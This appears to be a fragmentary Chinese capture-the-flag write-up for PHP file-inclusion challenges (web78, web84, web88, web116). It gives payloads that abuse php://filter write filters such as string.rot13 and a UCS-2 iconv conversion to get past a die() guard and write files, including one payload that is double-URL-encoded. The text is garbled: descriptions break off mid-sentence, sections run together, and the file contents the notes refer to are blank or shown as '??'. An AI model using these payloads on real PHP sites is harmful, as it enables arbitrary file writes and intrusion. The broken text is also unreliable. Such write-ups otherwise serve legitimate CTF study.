web78
题目:
payload:
剩下同理上一题
web84 题目:一起,就会破坏掉这句
die()
了。 payload:/?file=php://filter/write=string.rot13/resource=2.php //两次urlencode后 /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
content
的内容如下(两次rot13后会变成原样):web88 题目:content= //rot13编码后: content=
web116 题目:aa
是个视频,提示是misc+lif
抓包得到index.php
payload:
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php contents=??